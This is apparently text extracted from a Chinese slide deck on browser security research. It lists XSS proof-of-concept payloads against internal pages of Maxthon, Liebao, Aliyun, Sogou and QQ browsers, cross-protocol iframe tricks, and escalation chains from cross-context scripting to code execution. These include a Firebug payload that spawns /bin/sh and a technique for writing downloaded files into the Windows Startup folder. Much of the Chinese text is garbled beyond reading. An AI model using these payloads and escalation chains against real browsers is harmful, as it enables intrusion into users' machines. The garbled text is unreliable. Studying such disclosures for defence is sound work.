SOP SameOrigin Policy http www w 3 orgSecuritywikiSameOriginPolicy

同源策略（SOP） �� 器安全核心基� ： 同源策略（Same-Origin Policy） http: //www. w 3. org/Security/wiki/Same_Origin_Policy 源(origin)指使用域名、�� 、端口。

被� 染的URL Maxthon 3 about: history XSS POC：�� http: //www. knownsec. com/xxx=ss#" onload=alert(1) a="

被� 染的URL � 豹�� 器liebao: //bookmarks/ XSS POC：�� 并收藏如下URL http: //www. 80 vul. com/? aa=/#" ><iframe src="http: //www. 80 vul. com"></iframe> "

被� 染的URL � 豹�� 器liebao: //history/ XSS POC：�� http: //www. 80 vul. com/#" ><iframe src=http: //www. 80 vul. com "

被� 染的URL 阿里云�� 器f. Ile: // XSS POC：�� file: //aaaa/test. htm#ss<h 1>s=sss

邪� 的<title> � 豹�� 器liebao: //history/ XSS-2 poc. htm: <html><title></div><script>alert(document. location); </script> </title></html>

邪� 的<title> � 豹�� 器 chrome: //newtab XSS

邪� 的<title> � 豹�� 器 chrome: //last XSS

危� 的“内容” Maxthon about: reader xss

其他 Maxthon about: config xss

其他 QQ�� 器 qqbrowser: favorite xss

跨越http: // 阿里云�� 器 跨file: //�� 漏洞 POC ie: <iframe src="file: ////127. 0. 0. 1/D$/test. htm"> </iframe> webkit+ie: <iframe src="file: ///D: /test. htm"> </iframe>

跨越http: // 搜狗�� 器跨tzip: //�� 漏洞 <iframe src="tzip: //My. Favor. Start. Page/index 1. html" width="50%" height="50%"></iframe>

跨越http: // Maxthon跨about: �� 漏洞

XCS-->EXEC（两个� 典） Opera History Search XSS CVE-2008 -4696

XCS-->EXEC（两个� 典） Firebug Firefox Extension XCS Vulnerability

XCS-->EXEC（两个� 典） Firebug Firefox Extension XCS Vulnerability <html> <head>firebug 0 day</head> <body> <img src=2 onerror='var file = Components. classes["@mozilla. org/file/local; 1"]. create. Insta nce(Components. interfaces. ns. ILocal. File); file. init. With. Path("/ bin/sh"); var process =Components. classes["@mozilla. org/process/util; 1"]. create. I nstance(Components. interfaces. ns. IProcess); process. init(fil e); var args = ["-c", "gcalctool"]; process. run(false, args. length); '></img> </body> </html>

XCS-->Down. Load 360安全�� 器（5. x）

XCS-->Down. Load Maxthon ［写并覆盖文件］

Down. Load-->EXEC 方法一、跨目� 下� 文件到系� 启� 目� 目� ： C: Documents and SettingsAll Users「开始」菜� 程序启� (winxp/2 k 3 ) C: Program. DataMicrosoftWindowsStart MenuProgramsStartup (win 7) 要求： 1、�� 器安装在系�� 下 2、需要系� 重启�� 触�

Down. Load-->EXEC 方法二、覆盖常用� 件，���� 启� 。 Win 7 (by Roberto Suggi Liverani )

http: //www. wooyun. org/bugs/wooyun-2010 -013430

XCS-->EXEC Demo

http: //www. soso. com/cs. q/%2 e%2 e/2011/thanks/j s/swfupload. swf? movie. Name="%5 D)%7 Dcatch(e)%7 B external. share_search_ret("sogili"); location= 1; %7 D// http: //www. wooyun. org/bugs/wooyun-2013 -025203